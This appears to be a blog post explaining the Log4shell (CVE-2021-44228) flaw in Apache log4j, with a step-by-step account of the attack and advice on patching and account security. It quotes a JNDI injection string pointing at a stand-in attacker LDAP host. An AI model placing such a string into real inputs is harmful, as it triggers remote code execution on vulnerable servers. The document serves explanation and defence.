Log4shell Vulnerability

WHEW, it certainly has been one hell of a year for cyber security, and it’s only getting more intense. You may have heard of the recent vulnerability dubbed CVE-2021-44228, or better known as Log4shell. It has all cyber security professionals, hackers and businesses around the world very worried (or excited depending on where you stand on the issue). So what is Log4shell? Should you personally be worried about it? In this article I’ll attempt to explain what it is and why this is such a big deal. Enjoy!

What the hell is Log4shell?

Well first to understand what Log4shell is, we need to understand what underlying mechanism is being exploited. Let’s start with log4j.

Log4j is a java library developed by Apache that is used to help log data. This logging mechanism allows for errors, authentication failures, user input, etc. to be logged into a format where they can be reviewed later for whatever reason. If you’re a web application developer, this can be very useful. Log4j is also open source, which means that the code is available to be publicly viewed, used and changed as needed by the requirements of the user. Java (code and framework) is one of the most commonly used technologies in the world. It runs on (but not limited to) webservers, mobile devices and even cars. There are millions of devices that rely on Java, as well as log4j, making this vulnerability widespread and diverse.

Log4shell is the vulnerability for log4j that takes advantage of its lookup functionality and improper input validation. You can think of lookups in this context for log4j as a way to interpolate input upon logging a message. Lookups can be useful in the sense that they can pull data from remote resources as well as other applications if need be. The JNDI (Java Naming and Directory Interface) is the specific lookup available in log4j that was targeted in these attacks. A hacker can craft a special string that has a JNDI lookup make a request to a server that is under the attacker’s control and then execute code remotely. It may sound difficult to do, but the exploit is quite simple. Let’s take a look at the attack in a bit more depth in the next section.

Log4shell Example

The picture above shows a full example of how this vulnerability can be exploited by an attacker. Let’s break this down:

1. The attacker crafts a malicious string that utilizes a JNDI lookup. The method for injecting this string can vary, but in this case, the attacker passed it in the user agent. The string ${jndi:ldap://evil.xa/x} tells the JNDI to connect to the attacker’s evil LDAP server.

2. The string is passed to log4j for logging purposes.

3. Log4j takes the string, interpolates it and then queries the attacker’s LDAP server. Remember, there is no input validation that is checking to see what is being passed. This means that log4j is happy to log any input it sees and query accordingly.

4. The attacker’s LDAP server responds to the query by giving the directory information that contains the malicious code.

5. The malicious code is then executed after being downloaded.

As we can see, this attack is quite simple yet very effective. There are many variations that an attacker can use to pass the string. The code executed could potentially set up a reverse shell on the webserver, and in doing so the hacker would then have remote control over the server. From there, the possibilities are endless.

Conclusion

This vulnerability is bad…

This is probably one of the biggest security vulnerabilities that has been discovered in recent history. I liken this to the Heartbleed vulnerability that affected OpenSSL years ago. Although they are different vulnerabilities entirely, there were similar circumstances surrounding them both; Both technologies where the code lived in were open source, and both were exploited as a zero day attack. Zero days are exploits that have not been caught, detected or mitigated (via a patch for example). Attackers are able to utilize zero days as long as there is nothing stopping them from exploiting it. Usually once a zero day has been brought to the attention of the general public, developers will create patches for it. This makes timing a very important factor in using these exploits. The debate whether open source is better than proprietary still continues on…

The challenge with log4j (as mentioned above), which makes it different that other vulnerabilities, is that java runs on a myriad of devices, which means log4j ultimately does as well. This makes patch management for log4shell very difficult. If you own a company, you not only have to A) identify all of your technical assets, but then B) figure out which ones are vulnerable. Cyber security experts are predicting that the effects of this vulnerability have not fully been realized. It is quite possible that the really good hackers have been able to use this exploit to get into a network, establish persistence and then “go dark”. They may be biding their time in order to figure out how to move laterally around the network and perform whatever malicious deed they want. Only time will tell.

I think that what we’re going to see in the future is an influx of supply chain attacks. Remember, while large companies like Apple or Google are actively patching and remediating devices, it doesn’t mean their vendors are doing the same thing. As a matter of fact, larger companies can’t force their vendors to patch devices or adhere to certain standards for cyber security. This creates a potential “in” for hackers as they can compromise a vendor and then work to get into the main company’s network at some point.

For all of us and our personal cyber security, it’s hard to tell right now how you can be affected. We definitely have devices or technologies that run java and log4j, but that doesn’t necessarily mean those devices are “easy” to perform this exploit on. An internet facing webserver is going to potentially be easier to exploit than a Tesla for example (hopefully). However, you should definitely take inventory of devices you own and update them with the latest patches if available. Also, please make sure that any accounts you may have with any major institutions are secured with two factor authentication and strong passwords, as there’s no telling if hackers have compromised these sites and will attempt to steal credentials in the future. I’m willing to also bet that hackers are coming up with ways to execute this exploit through phishing via email. Please be vigilant in which emails and links/attachments you are clicking on.

Thank you for reading!